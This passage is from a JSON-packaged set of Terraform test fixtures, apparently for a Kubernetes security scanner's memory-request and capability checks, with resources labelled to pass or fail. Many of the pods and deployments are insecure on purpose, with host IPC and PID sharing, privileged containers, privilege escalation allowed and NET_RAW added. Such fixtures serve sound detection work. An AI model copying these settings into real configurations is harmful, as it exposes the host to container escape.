\"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          cpu = \"500m\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              cpu = \"500m\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              cpu = \"500m\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          cpu = \"500m\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MemoryRequests/main2.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no requests\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = \"x\"\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = \"x\"\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n# fails no memory requests\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = \"x\"\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no memory requests\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = \"x\"\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        requests = {\n          memory = \"1Gi\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            requests = {\n              memory = \"1Gi\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MemoryRequests/main3.tf",
    "content": "resource \"kubernetes_pod\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"examplePod\" {\n  metadata {\n    name      = \"terraform-example\"\n    namespace = \"default\"\n    labels = {\n      test = \"MyExampleApp\"\n    }\n  }\n\n  spec {\n    automount_service_account_token = true\n    security_context{\n    }\n    selector {\n      match_labels = {\n        test = \"MyExampleApp\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        automount_service_account_token = true\n        security_context {\n        }\n        selector {\n          match_labels = {\n            test = \"MyExampleApp\"\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_MinimiseCapabilities/main.tf",
    "content": "\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n          drop = [\"NET_BIND_SERVICE\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n\n      # resources = {\n      #   requests = {\n      #     memory = \"50Mi\"\n      #   }\n      #   limits ={\n      #     memory = \"50Mi\"\n      #   }\n      # }\n      # liveness_probe {\n      #   http_get {\n      #     path = \"/nginx_status\"\n      #     port = 80\n\n      #     http_header {\n      #       name  = \"X-Custom-Header\"\n      #       value = \"Awesome\"\n      #     }\n      #   }\n\n      #   initial_delay_seconds = 3\n      #   period_seconds        = 3\n      # }\n    }\n    # readiness_probe {\n    #     failure_threshold = 3\n    #     http_get {\n    #       path = \"/health\"\n    #       port = \"10254\"\n    #       scheme = \"http\"\n    #     }\n    #     period_seconds = 10\n    #     success_threshold = 1\n    #     timeout_seconds = 10\n    #   }\n    # }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n\n    container {\n      image             = \"nginx\"\n      image_pull_policy = \"Never\"\n      name              = \"example\"\n\n      security_context {\n        privileged                 = true\n        allow_privilege_escalation = true\n        capabilities {\n          add  = [\"NET_RAW\"]\n          drop = [\"NET_BIND_SERVICE\"]\n        }\n      }\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n        host_port      = 8080\n      }\n\n      # resources = {\n      #   requests = {\n      #     memory = \"50Mi\"\n      #   }\n      #   limits ={\n      #     memory = \"50Mi\"\n      #   }\n      # }\n      # liveness_probe {\n      #   http_get {\n      #     path = \"/nginx_status\"\n      #     port = 80\n\n      #     http_header {\n      #       name  = \"X-Custom-Header\"\n      #       value = \"Awesome\"\n      #     }\n      #   }\n\n      #   initial_delay_seconds = 3\n      #   period_seconds        = 3\n      # }\n    }\n    # readiness_probe {\n    #     failure_threshold = 3\n    #     http_get {\n    #       path = \"/health\"\n    #       port = \"10254\"\n    #       scheme = \"http\"\n    #     }\n    #     period_seconds = 10\n    #     success_threshold = 1\n    #     timeout_seconds = 10\n    #   }\n    # }\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n\n        container {\n          image             = \"nginx\"\n          image_pull_policy = \"Never\"\n          name              = \"example\"\n\n          security_context {\n            privileged                 = true\n            allow_privilege_escalation = true\n            capabilities {\n              add  = [\"NET_RAW\"]\n              drop = [\"NET_BIND_SERVICE\"]\n            }\n          }\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n            host_port      = 8080\n          }\n\n          # resources = {\n          #   requests = {\n          #     memory = \"50Mi\"\n          #   }\n          #   limits ={\n          #     memory = \"50Mi\"\n          #   }\n          # }\n          # liveness_probe {\n          #   http_get {\n          #     path = \"/nginx_status\"\n          #     port = 80\n\n          #     http_header {\n          #       name  = \"X-Custom-Header\"\n          #       value = \"Awesome\"\n          #     }\n          #   }\n\n          #   initial_delay_seconds = 3\n          #   period_seconds        = 3\n          # }\n        }\n        # readiness_probe {\n        #     failure_threshold = 3\n        #     http_get {\n        #       path = \"/health\"\n        #       port = \"10254\"\n        #       scheme = \"http\"\n        #     }\n        #     period_seconds = 10\n        #     success_threshold = 1\n        #     timeout_seconds = 10\n        #   }\n        # }\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = 